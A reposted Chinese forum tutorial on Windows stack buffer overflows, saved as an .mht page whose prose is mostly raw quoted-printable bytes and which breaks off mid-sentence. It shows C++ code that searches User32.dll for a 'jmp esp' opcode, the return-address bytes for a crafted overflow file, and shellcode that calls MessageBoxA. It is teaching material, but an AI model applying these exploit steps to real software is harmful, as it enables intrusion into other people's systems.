📄 （转帖）用server，对缓冲区溢出感兴趣的请进.mht
字号:
=B4=FA=C2=EB=A3=A1=A3=A8=A1=AD=A1=AD=C5=B6=A3=AC=D5=D2=B2=BB=B5=BD=A3=AC=CE=
=D2=C3=BB=B7=D6=CE=F6=B9=FD=A3=BF=D4=DA=B1=BE=CE=C4=D6=D0=B2=E9=D5=D2=B5=A5=
=B4=CA=A1=B1Great=A1=B1=B0=C9=A3=AC=BA=C7=BA=C7=A1=A3=A3=A9=CF=D6=D4=DA=CE=
=D2=C3=C7=BE=CD=D2=AA=D4=DA=D3=A6=D3=C3=B3=CC=D0=F2=B5=C4=C4=DA=B4=E6=BF=D5=
=BC=E4=D6=D0=D5=D2=B5=BD=BA=AC=D3=D0=A1=B1jmp=20
=
esp=A1=B1=D6=B8=C1=EE=B5=C4=B5=D8=D6=B7=A1=A3=CA=D7=CF=C8=B5=B1=C8=BB=CA=C7=
=C8=B7=B6=A8=D5=E2=CC=F5=D6=B8=C1=EE=B5=C4=BB=FA=C6=F7=C2=EB=C1=CB=A1=A3=D4=
=F5=C3=B4=C8=B7=B6=A8=A3=BF=D5=E2=D2=B2=D2=AA=BD=CC=A3=BF=BA=C3=B0=C9=A3=AC=
=BD=CC=BE=CD=BD=CC=B0=C9=A1=A3=BD=F6=B4=CB=D2=BB=B4=CE=A3=AC=CF=C2=B2=BB=CE=
=A5=C0=FD=A1=A3=A3=BB=A3=A9=C6=E4=CA=B5=B7=BD=B7=A8=BA=DC=BC=F2=B5=A5=A3=AC=
=B0=B4=D2=D4=CF=C2=B2=BD=D6=E8=BE=CD=BF=C9=D2=D4=C1=CB=A1=A3=CF=C8=D4=DAV=
isual=20
=
C++=D6=D0=B4=B4=BD=A8=D0=C2=B5=C4=D3=A6=D3=C3=B3=CC=D0=F2=A1=A3=A3=A8=B5=B1=
=C8=BB=BB=B9=CA=C7=BF=D8=D6=C6=CC=A8=B3=CC=D0=F2=A3=AC=BB=B9=CA=C7=D6=A7=B3=
=D6MFC=A3=AC=D5=E2=CA=C7=CE=D2=B5=C4=CF=B0=B9=DF=A1=A3=BA=C7=BA=C7=A1=A3=A3=
=A9=CA=E4=C8=EB=D2=D4=CF=C2=B4=FA=C2=EB=A3=BA<BR><BR>CWinApp=20
theApp; <BR><BR>using namespace std; <BR><BR>int =
_tmain(int argc, TCHAR* argv[], TCHAR* envp[]) =
<BR>{=20
<BR>int nRetCode =3D 0; <BR><BR>// initialize =
MFC and=20
print and error on failure <BR>if=20
(!AfxWinInit(::GetModuleHandle(NULL), NULL,=20
::GetCommandLine(), 0)) <BR>{ <BR>// TODO: =
change error=20
code to suit your needs <BR>cerr << =
_T("Fatal=20
Error: MFC initialization failed"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0> << endl; =
<BR>nRetCode =3D=20
1; <BR>} <BR>else <BR>{ <BR>return 0; <BR>__asm =
jmp esp=20
<BR>} <BR>return nRetCode; <BR>} <BR><BR> =
=20
=BA=C3=C1=CB=A3=AC=C8=BB=BA=F3=D4=DAVisual =
C++=BB=B7=BE=B3=D6=D0=C9=E8=D6=C3=D5=FD=C8=B7=B5=C4=B5=F7=CA=D4=B6=CF=B5=E3=
=A1=A3=C4=C4=C0=EF=A3=BF=B6=D4=C1=CB=A3=AC=D4=DA=A1=B0return=20
=
0;=A1=B1=B4=A6=A1=A3=BD=D3=D7=C5=D4=CB=D0=D0=B3=CC=D0=F2=A3=AC=CA=B9=C6=E4=
=D4=DA=B6=CF=B5=E3=B4=A6=D4=DD=CD=A3=D4=CB=D0=D0=A1=A3=CF=D6=D4=DA=A3=A8=D1=
=A1=D4=F1=A1=B0view=A1=B1=B2=CB=B5=A5=A1=AA=A1=AA=A1=B0Debug=20
=
Windows=A1=B1=A1=AA=A1=AA=A1=B0Disassembly=A1=B1=A3=A9=B4=F2=BF=AA=B7=B4=BB=
=E3=B1=E0=B4=B0=BF=DA=A3=AC=B2=A2=D4=DA=B7=B4=BB=E3=B1=E0=B4=B0=BF=DA=D6=D0=
=B5=A5=BB=F7=CA=F3=B1=EA=D3=D2=BC=FC=A3=AC=D4=DA=D3=D2=BC=FC=B5=AF=B3=F6=B2=
=CB=B5=A5=D6=D0=D1=A1=D4=F1=A1=B0Source=20
Annotation=A1=B1=BA=CD=A1=B0Code =
Bytes=A1=B1=A1=A3=B4=CB=CA=B1=A3=AC=D4=DA=C4=DA=B4=E6=B5=D8=D6=B7=C1=D0=D3=
=D2=B2=E0=A1=A2(jmp esp)=D6=B8=C1=EE=C1=D0=D7=F3=B2=E0=B5=C4"FF=20
E4"=BE=CD=CA=C7=D6=B8=C1=EE"jmp=20
=
esp"=B5=C4=BB=FA=C6=F7=C2=EB=A1=A3=C8=E7=B9=FB=D0=E8=D2=AA=D5=D2=B3=F6=C6=
=E4=CB=FC=BB=E3=B1=E0=D6=B8=C1=EE=B5=C4=BB=FA=C6=F7=C2=EB=A3=AC=BB=F9=B1=BE=
=C9=CF=B6=BC=BF=C9=CD=A8=B9=FD=D5=E2=D6=D6=B7=BD=B7=A8=B5=C3=B5=BD=A1=A3<=
BR><BR> =20
=
=CF=C2=D2=BB=B2=BD=CA=C7=C8=E7=BA=CE=D4=DA=CE=D2=C3=C7=B5=C4=BD=F8=B3=CC=BF=
=D5=BC=E4=C0=EF=D5=D2=B5=BD=D5=E2=B4=AE=BB=FA=C6=F7=C2=EB=A1=A3=D2=B2=CA=C7=
=B7=C7=B3=A3=BC=F2=B5=A5=B5=C4=A3=AC=D6=BB=D2=AA=D0=DE=B8=C4=D2=BB=CF=C2=B4=
=FA=C2=EB=BC=B4=BF=C9=A3=BA=20
<BR><BR>CWinApp theApp; <BR><BR>using namespace =
std;=20
<BR><BR>int _tmain(int argc, TCHAR* argv[], =
TCHAR*=20
envp[]) <BR>{ <BR>int nRetCode =3D 0; <BR><BR>// =
initialize MFC and print and error on failure =
<BR>if=20
(!AfxWinInit(::GetModuleHandle(NULL), NULL,=20
::GetCommandLine(), 0)) <BR>{ <BR>// TODO: =
change error=20
code to suit your needs <BR>cerr << =
_T("Fatal=20
Error: MFC initialization failed"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0> << endl; =
<BR>nRetCode =3D=20
1; <BR>} <BR>else <BR>{ <BR>#if 0 <BR>return 0;=20
<BR>__asm jmp esp <BR><BR>#else <BR><BR>bool=20
we_loaded_it =3D false; <BR>HINSTANCE h; =
<BR>TCHAR=20
dllname[] =3D _T("User32"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>; <BR><BR>h =3D=20
GetModuleHandle(dllname); <BR>if(h =3D=3D NULL) =
<BR>{ <BR>h=20
=3D LoadLibrary(dllname); <BR>if(h =3D=3D NULL) =
<BR>{=20
<BR>cout<<"ERROR LOADING DLL:=20
"<<dllname<<endl; <BR>return 1; =
<BR>}=20
<BR>we_loaded_it =3D true; <BR>} <BR><BR>BYTE* =
ptr =3D=20
(BYTE*)h; <BR>bool done =3D false; <BR>for(int y =
=3D=20
0;!done;y++) <BR>{ <BR>try <BR>{ <BR>if(ptr[y] =
=3D=3D 0xFF=20
&& ptr[y+1] =3D=3D 0xE4) <BR>{ <BR>int =
pos =3D=20
(int)ptr + y; <BR>cout<<"OPCODE found at=20
0x"<<hex<<pos<<endl; <BR>} =
<BR>}=20
<BR>catch(...) <BR>{ <BR>cout<<"END OF=20
"<<dllname<<" MEMORY =
REACHED"<<endl;=20
<BR>done =3D true; <BR>} <BR>} =
<BR><BR>if(we_loaded_it)=20
FreeLibrary(h); <BR>#endif <BR>} <BR>return =
nRetCode;=20
<BR>} <BR><BR> =20
=
=D2=B2=D0=ED=C4=E3=BB=E1=C6=E6=B9=D6=A3=AC=CE=AA=CA=B2=C3=B4=B2=BB=D3=C3K=
ernel32.dll=C4=D8=A3=BF=CB=FC=B2=BB=CA=C7=B8=FC=CD=A8=D3=C3=C2=F0=A3=BF=CE=
=D2=B8=D5=BF=AA=CA=BC=CA=B1=D2=B2=CA=C7=D4=DA=B6=AF=CC=AC=C1=B4=BD=D3=BF=E2=
Kernel32=B5=C4=BD=F8=B3=CC=BF=D5=BC=E4=D1=B0=D5=D2=A1=B1FF=20
=
E4=A1=B1=A3=AC=B5=AB=BE=D3=C8=BB=D2=BB=B4=A6=D2=B2=D5=D2=B2=BB=B5=BD=A3=A1=
=A3=A8=B6=F8=D4=DAWindows NT=20
=
4=D6=D0=D5=D2=B5=BD=C4=DC=D6=C1=C9=D96=B4=A6=A3=A1=A3=BA=A3=A8=A3=A8=A3=A9=
=BA=F3=C0=B4=CE=D2=B3=A2=CA=D4=D4=DAUser32.dll=D6=D0=D1=B0=D5=D2=A3=AC=D6=
=D5=D3=DA=D5=D2=B5=BD=C1=CB=D2=BB=B4=A6=A1=A3=D4=CB=D0=D0=BA=F3=B3=CC=D0=F2=
=CA=E4=B3=F6=A3=BA<BR><BR>OPCODE=20
found at 0x77e2e32a<BR>END OF User32 MEMORY =
REACHED=20
<BR><BR> =20
=
=D7=A2=D2=E2=A3=AC=B2=BB=CD=AC=B5=C4=B6=AF=CC=AC=C1=B4=BD=D3=BF=E2=BA=CD=B0=
=E6=B1=BE=A3=AC=B5=C3=B5=BD=B5=C4=BD=E1=B9=FB=BF=C9=C4=DC=BB=E1=B2=BB=D2=BB=
=D1=F9=A1=A3=CE=D2=B5=C4=B6=AF=CC=AC=C1=B4=BD=D3=BF=E2User32.dll=B0=E6=B1=
=BE=CE=AA5.00.2180.1=A1=A3=CF=D6=D4=DA=D3=C316=BD=F8=D6=C6=CE=C4=BC=FE=B1=
=E0=BC=AD=C6=F7=A3=A8=C8=E7Ultra=20
=
Edit=A3=A9=B4=F2=BF=AAoverflow.txt=CE=C4=B1=BE=CE=C4=BC=FE=A3=AC=D4=DA=B5=
=DA21=D7=D6=B7=FB=CE=BB=D6=C3=BF=AA=CA=BC=CA=E4=C8=EB2A E3 E2=20
=
77=A1=A3=A3=A8=CE=AA=CA=B2=C3=B4=D2=AA=D4=DA=B5=DA21=D7=D6=B7=FB=CE=BB=D6=
=C3=A3=BF=CE=AA=CA=B2=C3=B4=D2=AA=CA=E4=C8=EB2A E3 E2=20
=
77=A3=BF=CE=D2=B2=BB=CF=EB=BD=E2=CA=CD=C1=CB=A3=AC=C8=E7=B9=FB=C4=E3=C1=AC=
=D5=E2=B6=BC=BF=B4=B2=BB=B6=AE=A3=AC=BD=A8=D2=E9=C4=E3=B2=BB=D2=AA=D4=D9=D1=
=D0=BE=BF=BB=BA=B3=E5=C7=F8=D2=E7=B3=F6=C1=CB=A3=A1=A3=A9=CE=D2=C3=C7=CF=C8=
=B1=A3=C1=F4=BA=F3=C3=E6=B5=C4=CB=C4=B8=F6=A1=AFa=A1=AF=D7=D6=B7=FB=A1=A3=
=CA=B9=D3=C3=B5=F7=CA=D4=C6=F7=D4=CB=D0=D0=B3=CC=D0=F2=A3=AC=D6=B4=D0=D0=B5=
=BD=A1=B1ret=A1=B1=C3=FC=C1=EE=B4=A6=CD=A3=CF=C2=C0=B4=A3=AC=BF=B4=BF=B4=CF=
=C2=D2=BB=CC=F5=D6=B8=C1=EE=CA=C7=B7=F1=CE=AA=A1=B1jmp=20
esp=A1=B1=A3=AC=B6=F8=C7=D2=D6=B4=D0=D0=A1=B1jmp =
esp=A1=B1=C7=B0esp=B5=C4=C4=DA=C8=DD=CA=C7=B7=F1=CE=AA0x61616161=A1=A3=C8=
=E7=B9=FB=D2=BB=C7=D0=D5=FD=C8=B7=A3=ACOK, so far=20
so good. =
=A3=BB=A3=A9=C8=C3=CE=D2=C3=C7=C0=B4=BD=F8=D0=D0=B8=FC=B4=CC=BC=A4=B5=C4=CA=
=C2=C7=E9=A8D=A8D=B1=E0=D0=B4=BB=BA=B3=E5=C7=F8=D2=E7=B3=F6=BA=F3=B5=C4=D6=
=B4=D0=D0=B4=FA=C2=EB=A1=A3<BR><BR> =20
=20
=
=CA=D7=CF=C8=A3=AC=C4=E3=B1=D8=D0=EB=C8=B7=B1=A3=CB=F9=D3=D0=D0=E8=D2=AA=B5=
=C4=B6=AF=CC=AC=C1=B4=BD=D3=BF=E2=B6=BC=B1=BB=BC=D3=D4=D8=B5=BD=BD=F8=B3=CC=
=BF=D5=BC=E4=D6=D0=A1=A3=D2=BB=D6=D6=B7=BD=B7=A8=CA=C7=C0=FB=D3=C3=B8=C3=B3=
=CC=D0=F2=B1=BE=C9=ED=B5=F7=D3=C3=B5=C4=B6=AF=CC=AC=C1=B4=BD=D3=BF=E2=A3=BB=
=C1=ED=D2=BB=D6=D6=B7=BD=B7=A8=CA=C7=D4=DA=D2=E7=B3=F6=B4=FA=C2=EB=D6=D0=BC=
=D3=D4=D8=B8=C3=B6=AF=CC=AC=C1=B4=BD=D3=BF=E2=A1=A3=A3=A8=D4=DAipxodi=B5=C4=
=A1=B6Windows=CF=B5=CD=B3=CF=C2=B5=C4=B6=D1=D5=BB=D2=E7=B3=F6=A1=B7=D6=D0=
=D3=D0=CF=EA=CF=B8=BD=E9=C9=DC=A1=A3=A3=A9=D4=DA=D5=E2=C0=EF=CE=D2=B2=C9=D3=
=C3=B5=DA=D2=BB=D6=D6=B7=BD=B7=A8=A1=A3=CE=AA=CA=B2=C3=B4=A3=BF=D2=F2=CE=AA=
=BC=F2=B5=A5=C2=EF=A1=A3=A3=BB=A3=A9<BR><BR> =20
=20
=
=BA=C7=BA=C7=A3=AC=CE=AA=C1=CB=B1=E0=B3=CC=BC=F2=B5=A5=A3=AC=CD=AC=CA=B1=B1=
=BE=CE=C4=B5=C4=D6=F7=D2=AA=C4=BF=B5=C4=CA=C7=BD=CC=D1=A7=A3=AC=D6=D8=B5=E3=
=D4=DA=D3=DA=D4=AD=C0=ED=A3=AC=CB=F9=D2=D4=B4=FA=C2=EB=D6=B4=D0=D0=CA=B1=BD=
=F6=CA=C7=B5=AF=B3=F6=D2=BB=B8=F6=CF=FB=CF=A2=BF=F2=A1=A3=C8=E7=B9=FB=CF=EB=
=B1=E0=D0=B4=B8=FC=BE=DF=B9=A5=BB=F7=D0=D4=BB=F2=B8=FC=B8=B4=D4=D3=B5=C4=D6=
=B4=D0=D0=B4=FA=C2=EB=A3=AC=BF=C9=B2=CE=D4=C4ipxodi=CB=F9=D6=F8=B5=C4=A1=B6=
Windows=CF=B5=CD=B3=CF=C2=B5=C4=B6=D1=D5=BB=D2=E7=B3=F6=A1=B7=BA=CD=C2=CC=
=C9=AB=B1=F8=CD=C5=D5=FB=C0=ED=B5=C4=A1=B6=B8=DF=BC=B6=BB=BA=B3=E5=C7=F8=D2=
=E7=B3=F6=A1=B7=A1=A3=B2=BB=B9=FD=A3=AC=BA=F3=B9=FB=D7=D4=B8=BA=A3=A1<BR>=
<BR> =20
=
=CA=D7=CF=C8=CE=D2=C3=C7=D2=AA=D5=D2=B5=BD=C8=E7=BA=CE=D4=DA=B4=FA=C2=EB=D6=
=D0=B5=F7=D3=C3MessageBox=BA=AF=CA=FD=A1=A3=B8=F9=BE=DDWindows=20
=
API=CE=C4=B5=B5=A3=ACMessageBox=D2=C0=C0=B5=D3=DAuser32.lib=A3=AC=D2=B2=BE=
=CD=CA=C7=CB=B5=CB=FC=CE=BB=D3=DAuser32.dll=B6=AF=CC=AC=C1=B4=BD=D3=BF=E2=
=D6=D0=A1=A3=C6=F4=B6=AFdepends=B9=A4=BE=DF=A3=AC=B4=F2=BF=AA=BD=AB=D2=AA=
=B1=BB=D2=E7=B3=F6=B5=C4=D3=A6=D3=C3=B3=CC=D0=F2=A3=AC=BF=C9=D2=D4=B7=A2=CF=
=D6=CB=FC=BD=AB=BC=D3=D4=D8user32.dll=A1=A3=C8=BB=BA=F3=D1=B0=D5=D2Messag=
eBox=BA=AF=CA=FD=B5=C4=C4=DA=B4=E6=CE=BB=D6=C3=A1=A3=D4=DA=CE=D2=BB=FA=C6=
=F7=B5=C4user32.dll=D6=D0=A3=ACMessageBoxA=A3=A8ASCII=B0=E6=B1=BE=A3=A9=BA=
=AF=CA=FD=B5=C4=C6=AB=D2=C6=C1=BF=A3=A8Entry=20
=
Point=A3=A9=CE=AA0x00033D68=A1=A3User32.dll=D4=DA=C4=DA=B4=E6=D6=D0=B5=C4=
=C6=F0=CA=BC=B5=D8=D6=B7=CE=AA0x77DF0000=A1=A3=BD=AB=C1=BD=D5=DF=CF=E0=BC=
=D3=BC=B4=BF=C9=B5=C3=B5=BDMessageBox=BA=AF=CA=FD=B5=C4=BE=F8=B6=D4=C4=DA=
=B4=E6=B5=D8=D6=B7=CE=AA0x77E23D68=A1=A3=CB=F9=D2=D4=CE=D2=C3=C7=D0=E8=D2=
=AA=D4=DA=BB=E3=B1=E0=B4=FA=C2=EB=D6=D0=D5=FD=C8=B7=C9=E8=D6=C3=B6=D1=D5=BB=
=B2=A2=B5=F7=D3=C30x77E23D68=A1=A3=B8=F9=BE=DD=B6=D4Steve=20
=
Fewer=B5=C4winamp=BB=BA=B3=E5=C7=F8=D2=E7=B3=F6=B4=FA=C2=EB=D1=A7=CF=B0=BA=
=CD=D1=D0=BE=BF=A3=AC=CE=D2=D0=B4=B3=F6=C0=B4=B5=C4=BB=E3=B1=E0=B4=FA=C2=EB=
=C8=E7=CF=C2=A3=BA<BR><BR>push ebp=20
<BR>push ecx <BR>mov ebp,esp <BR>sub esp,54h =
<BR>xor=20
ecx,ecx <BR>mov byte ptr [ebp-14h],'S' <BR>mov =
byte ptr=20
[ebp-13h],'u' <BR>mov byte ptr [ebp-12h],'c' =
<BR>mov=20
byte ptr [ebp-11h],'c' <BR>mov byte ptr =
[ebp-10h],'e'=20
<BR>mov byte ptr [ebp-0Fh],'s' <BR>mov byte ptr=20
[ebp-0Eh],'s' <BR>mov byte ptr [ebp-0Dh],cl =
<BR>mov byte=20
ptr [ebp-0Ch],'W' <BR>mov byte ptr [ebp-0Bh],'e' =
<BR>mov=20
byte ptr [ebp-0Ah],' ' <BR>mov byte ptr =
[ebp-9],'G'=20
<BR>mov byte ptr [ebp-8],'o' <BR>mov byte ptr=20
[ebp-7],'t' <BR>mov byte ptr [ebp-6],' ' <BR>mov =
byte=20
ptr [ebp-5],'I' <BR>mov byte ptr [ebp-4],'t' =
<BR>mov=20
byte ptr [ebp-3],'!' <BR>mov byte ptr [ebp-2],cl =
<BR>push ecx <BR>lea eax,[ebp-14h] <BR>push eax =
<BR>lea=20
eax,[ebp-0Ch] <BR>push eax <BR>push ecx <BR>mov =
dword=20
ptr [ebp-18h],0x 77E23D68 <BR>call dword =
ptr[ebp-18h]=20
<BR>mov esp,ebp <BR>pop ecx <BR>pop ebp =
<BR><BR> =20
=20
=
=D2=D4=C9=CF=BB=E3=B1=E0=B4=FA=C2=EB=BD=AB=B5=F7=D3=C3=CE=BB=D3=DA0x77E23=
D68=B5=C4MessageBox=BA=AF=CA=FD=A3=AC=CA=B9=C6=E4=B5=AF=B3=F6=B1=EA=CC=E2=
=CE=AA=A1=B1Success=A1=B1=A1=A2=CF=FB=CF=A2=C4=DA=C8=DD=CE=AA=A1=B1We=20
Got=20
=
It!=A1=B1=B5=C4=CF=FB=CF=A2=BF=F2=A1=A3=B1=D8=D0=EB=D2=AA=D7=A2=D2=E2=B5=C4=
=CA=C7=A3=AC=CE=D2=C3=C7=B2=BB=C4=DC=CA=B9=D3=C30=A3=A8NULL=A3=A9=D7=F7=CE=
=AA=D7=D6=B7=FB⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -